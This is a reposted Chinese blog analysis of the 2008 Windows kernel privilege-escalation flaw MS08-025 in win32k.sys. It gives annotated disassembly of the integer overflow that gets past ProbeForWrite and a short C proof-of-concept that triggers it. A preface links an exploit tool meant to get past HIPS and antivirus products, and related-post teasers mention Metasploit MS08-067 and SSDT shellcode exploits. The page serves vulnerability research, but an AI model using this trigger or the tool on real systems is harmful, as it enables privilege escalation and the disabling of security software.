BypassHIPS微点卡巴 with MS08025

Windows 内核漏洞 ms08025 分析 4月8号microsoft再次发布了一个系统内核的补丁(KB941693),软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、Windows Vista 阅读详情
 

MJ0011http://hi.baidu.com/mj0011/blog/item/e59c2b87853b392fc65cc384.html

没玩过漏洞,沾白细胞的光,写了一个过HIPS的~ SSM啊微点啊卡巴啊COMODO啊瑞星啊自然全挂

据说这洞从WIN2000-WIN2008全兼容 呵呵,下载:http://mj0011.ys168.com,漏洞演示下xx.rar

运行完后恢复所有SSDT HOOK

注意:

1.双核上可能BSOD

2.测试时发现VMWARE里用sgdt得到的GDT地址不正确~所以不要在虚拟机里测试,会蓝屏的

在真机上测

3.只用于测试,不得用于非法用途

MS08-025 Windows 内核中的漏洞可能允许特权提升
http://bbs.micropoint.com.cn/showthread.asp?tid=31487&fpage=1

创建时间:2008-04-12
文章属性:原创
文章提交:whitecell (sinister_at_whitecell.org)

Windows 内核漏洞 ms08025 分析

Author:   Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-04-10

经内部讨论后决定公布分析成果。

4月8号microsoft再次发布了一个系统内核的补丁(KB941693),
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。

从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了
能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite
函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04                                         ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6E p
.text:BF86FB04                                         ; NtUserMessageCall(x,x,x,x,x,x,x)+61 p
.text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)-E p
.text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6D p
.text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)-4B p
.text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)+60 p ...
.text:BF86FB04
.text:BF86FB04 var_24       = dword ptr -24h
.text:BF86FB04 var_20       = dword ptr -20h
.text:BF86FB04 UserBuffer    = dword ptr -1Ch
.text:BF86FB04 ms_exc       = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0           = dword ptr   8
.text:BF86FB04 arg_4           = dword ptr   0Ch
.text:BF86FB04 arg_8           = dword ptr   10h
.text:BF86FB04 Address       = dword ptr   14h
.text:BF86FB04 arg_10       = dword ptr   18h
.text:BF86FB04 arg_14       = dword ptr   1Ch
.text:BF86FB04 arg_18       = dword ptr   20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04                 push 14h
.text:BF86FB06                 push offset unk_BF98D250
.text:BF86FB0B                 call __SEH_prolog
.text:BF86FB0B
.text:BF86FB10                 xor     edx, edx
.text:BF86FB12                 mov     [ebp+ms_exc.disabled], edx
.text:BF86FB15                 mov     eax, [ebp+var_20]
.text:BF86FB18                 mov     ecx, 7FFFFFFFh
.text:BF86FB1D                 and     eax, ecx
.text:BF86FB1F                 mov     esi, [ebp+arg_18]
.text:BF86FB22                 shl     esi, 1Fh
.text:BF86FB25                 or    eax, esi
.text:BF86FB27                 mov     [ebp+var_20], eax
.text:BF86FB2A                 mov     esi, eax
.text:BF86FB2C                 xor     esi, [ebp+arg_8]   -> esi = 缓冲区长度
.text:BF86FB2F                 and     esi, ecx
.text:BF86FB31                 xor     eax, esi
.text:BF86FB33                 mov     [ebp+var_20], eax
.text:BF86FB36                 cmp     [ebp+arg_18], edx   -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39                 jnz     short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B                 lea     esi, [eax+eax] <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
                                                       <- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000,32位的寄存器
                                                       <- 被溢出了,esi = 0
.text:BF86FB3E                 xor     esi, eax
.text:BF86FB40                 and     esi, ecx
.text:BF86FB42                 xor     eax, esi
.text:BF86FB44                 mov     [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47:                         ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35 j
.text:BF86FB47                 mov     [ebp+var_24], edx
.text:BF86FB4A                 mov     esi, [ebp+Address]
.text:BF86FB4D                 mov     [ebp+UserBuffer], esi
.text:BF86FB50                 xor     ebx, ebx
.text:BF86FB52                 inc     ebx
.text:BF86FB53                 push ebx          ; Alignment
.text:BF86FB54                 and     eax, ecx
.text:BF86FB56                 push eax          ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57                 push esi          ; Address
.text:BF86FB58                 call ds: ProbeForWrite(x,x,x)


bf80a1b0 e96ef4ffff    jmp win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8          shr     eax,1
bf80a1b7 894510           mov     [ebp+0x10],eax
bf80a1ba ebf1          jmp win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514           mov     eax,[ebp+0x14]
bf80a1bf f6400780       test byte ptr [eax+0x7],0x80
bf80a1c3 8b4008           mov     eax,[eax+0x8]
bf80a1c6 7408          jz     win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000           mov     byte ptr [eax],0x0
bf80a1cb e951f4ffff    jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910           mov     [eax],dx <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff    jmp win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00          push 0x0
bf80a1da 6a02          push 0x2
bf80a1dc ff7638           push dword ptr [esi+0x38]
bf80a1df e8d1690200    call win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8          mov     edi,eax
bf80a1e6 85ff          test edi,edi
bf80a1e8 0f8433f4ffff     je win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710           lea     esi,[edi+0x10]


那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,
发现触发这个漏洞很简单,只需要调用 SendMessageW 发送WM_GETTEXT 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit)

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{
DWORD dwHookAddress = 0x80000000;

printf( "/tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)/n/n" );
       printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10/n" );

SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
return 0;
}

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/

基于Redis的Tomcat6/Tomcat7 Session共享实现方案 前面两步做完,你以为就安全了?操作系统层面的防火墙才是真正的“守门员”。CentOS 7用的是firewalld,操作如下:# 查看当前区域# 永久开放6379端口# 重载配置# 验证是否生效输出中能看到:这才算真正打通。但更进一步的做法是限制来源IP段这样一来,只有来自子网的设备才能连接Redis,哪怕有人拿到密码也进不来(除非他在内网)。别急着让Tomcat连上来,先给自己做个全面体检。 阅读详情

相关推荐

Tomcat7实现基于Redis的Session共享所需jar包清单

本文还有配套的精品资源,点击获取 简介:为了解决在多Tomcat服务器集群中实现Session共享的问题,利用Redis作为中央缓存来存储Session数据是关键。本文介绍了实现该功能所需的核心技术组件,包括 tomcat-redis-session-manager 、 jedis 和 commons-pool2 三个关键jar包的...

weixin_36364707的博客 942

从双击至窗口最大化都发生了什么

在研究Duilib框架时的测试小例子,只需在OnSize下断点,并双击标题栏,即会在OnSize中命令断点,可分析调用流程,解释见后 //5、最后,响应了OnSize消息 > DuiLib_d.dll!DuiLib::WindowImplBase::OnSize(unsigned int uMsg, unsigned int wParam, long lParam, int &amp...

i华仔的专栏 602

ms08025利用程序

ms08025利用程序ms08025利用程序ms08025利用程序ms08025利用程序

MS08-025通过覆盖SSDT表进行执行shellcode

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit另一种利用方式,通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行#include #include typedef LONG NTSTATUS;typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE    

1094

ms08-067漏洞 远程溢出入侵测试

被攻击者IP地址:192.168.9.4,操作系统Windows XP sp3 English 攻击者IP地址:192.168.9.1   //查看数据库连接状态 msf &gt; db_status [*] postgresql connected to msf3 //使用nmap扫描目标机器 msf &gt; db_nmap -sS -sV -O --script=smb-check...

十年磨一剑,霜刃未曾试! 3万+

Redis存储Tomcat7集群的Session

  Redis存储Tomcat7集群的Session   首先请先安装redis,请参考文章 http://stephen830.iteye.com/blog/2289017   然后,将下面的4个jar文件放到tomcat的lib目录下(我上传了一份在下面的附件中) commons-pool2-2.2.jar jedis-2.5.2.jar tomcat-juli.jar ...

stephen830 164

tomcat7 redis seeion共享集群

实现多个tomcat7间session共享,可使用tomcat7自带的集群方式,也可以将session持久化存储与数据库中 1.依赖的三个jar包拷贝到多个tomcat的lib目录下 链接:https://pan.baidu.com/s/1XUZcFLPOld7DTxpaaUuzCA 提取码:mgnh tomcat-redis-session-manage-tomcat7.jar只适用tomcat7。 tomcat8需要修改去github上下载源码,修改后重新编译,也不推荐使用这种来进行tomcat.

重露成涓滴 311

Tomcat通过Redis实现session共享

对于生产环境有了一定规模的tomcat集群业务来说,要实现session会话共享,比较稳妥的方式就是使用数据库持久化session.为什么要持久化session(共享session)呢?因为在客户端每个用户的Session对象存在Servlet容器中,如果Tomcat服务器重启或者宕机的话,那么该session就会丢失,而客户端的操作会由于session丢失而造成数据丢失;如果当前用户访问量巨大,每个用户的Session里存放大量数据的话,那么就很占用服务器大量的内存,进而致使服务器性能受到影响。数据库持久

weixin_42073629的博客 1587

Nginx+Tomcat集群Redis共享session方案

客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上,这就是 Session。客户端浏览器再次访问时只需要从该 Session 中查找该客户的状态就可以了。在实际工作中我们建议使用外部的缓存设备来共享 Session,避免单个服务器节点挂掉而影响服务,共享数据都会放到外部缓存容器中。使用Redis实现共享session,所有服务器的session信息都存储到了同一个Redis集群中,即所有的服务都将 Session 的信息存储到 Redis 集群中,无论是对 Session 的注销、更新

毛毛的博客 996

TOMCAT7-REDIS-SESSION共享

TOMCAT 利用REDIS来存储SESSION 适用版本 TOMCAT 7,以下是TOMCAT 7下的LIB包。适用于单点与集群两种模式。 lib.20171026.tar 1、集群模式 &lt;!--redis cluster--&gt; &lt;Valve className="com.orangefunction.tomcat.redissessions.Redi...

xb_workspace的博客 372

Tomcat7+Redis存储Session共享

Redis存储Session共享

lee的博客 634

Nginx+Redis+Tomcat实现session共享的集群

Nginx作为目前最流行的开源反向代理HTTPServer,用于实现资源缓存、webserver负载均衡等功能,由于其轻量级、高性 能、高可靠等特点在互联网项目中有着非常普遍的应用,相关概念网上有丰富的介绍。分布式webserver集群部署后需要实现session共享,针 对tomcat服务器的实现方案多种多样,比如tomcatclustersession...

weixin_33994429的博客 130

tomcat-redis-session-manager实现负载均衡session共享问题

2019独角兽企业重金招聘Python工程师标准>>> ...

weixin_34309435的博客 242

Tomcat Redis Session Manager与Apache集群方案对比:为什么选择非粘性会话

在现代Web应用架构中,会话管理是确保用户体验连贯性的核心环节。当应用需要扩展到多台服务器时,如何高效共享和同步会话数据成为关键挑战。Tomcat Redis Session Manager作为一款基于Redis的非粘性会话存储解决方案,为Apache Tomcat集群提供了轻量级且高性能的会话管理方案。本文将深入对比传统Apache集群方案与Tomcat Redis Session Manage

gitblog_00172的博客 345

【译】在Tomat7上使用Redis保存Session

【译】在Tomat7上使用Redis保存Session 发表于2014年9月26日由wangda 使用 Redis 服务器来存储Session非常有优势。首先它是一个NOSQL数据,第二它很容易扩展使用。 下面这种安装方式非常清晰明白的引导你把Redis缓存作为一个Session的存储系统。步骤如下: 1. 下载Redis并且使用下面的命令编译安装: wget http:

张伟的专栏 4735

【黑马点评日记02】Redis解决Tomcat集群Session共享问题

本文探讨了高并发环境下Tomcat集群的Session共享问题及解决方案。传统Session存储在单机Tomcat内存中,导致集群环境下用户需重复登录。通过引入Redis作为分布式Session存储,实现了多台Tomcat间的Session共享。文章详细对比了单机Session和分布式Session架构的区别,分析了Token架构的优势及适用场景,并提供了黑马点评项目从Session架构改造为Token架构的具体实现方案,包括登录校验接口改造、拦截器调整和前端配合改动等核心步骤。改造后的Token架构具备无

任岁月风干理想再也找不回真的我 1627

搭建Tomcat集群&通过Redis缓存共享session的一种流行方案

为什么要共享session? 我们使用单台Tomcat的时候不会有共享sesssion的疑虑,只要使用Tomcat的默认配置即可,session即可存储在Tomcat上。 但是随着业务的扩大,增加Tomcat节点构成Tomcat集群大势所趋,分布式带来了增加更大规模并发请求的优势,但是也随之到来了一个问题,每个Tomcat只存储来访问自己的请求产生的session,如果

IT民工工厂 3807

Redis实战和核心原理详解(5)使用Redis存储Nginx+Tomcat负载均衡集群的Session

环境:Cent OS 7.0(虚拟机环境)、Nginx 1.9.8、Redis 3.2.1一、背景在使用Nginx+Tomcat实现负载均衡的时候,由于Nginx对不同的请求分发到某一个Tomcat,Tomcat在运行的时候分别是不同的容器里,因为会出现session不同步或者丢失的问题。二、Nginx安装与配置1、Nginx安装网上的资源对于安装Nginx的介绍比较多,例如最简单的为:(1) 获取

徐刘根的博客 3万+
上一篇: 盗号木马Trojan-PSW.Win32.OLGame.vdh
下一篇: 木马下载器Trojan-Downloader.Win32.Small.nkb
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值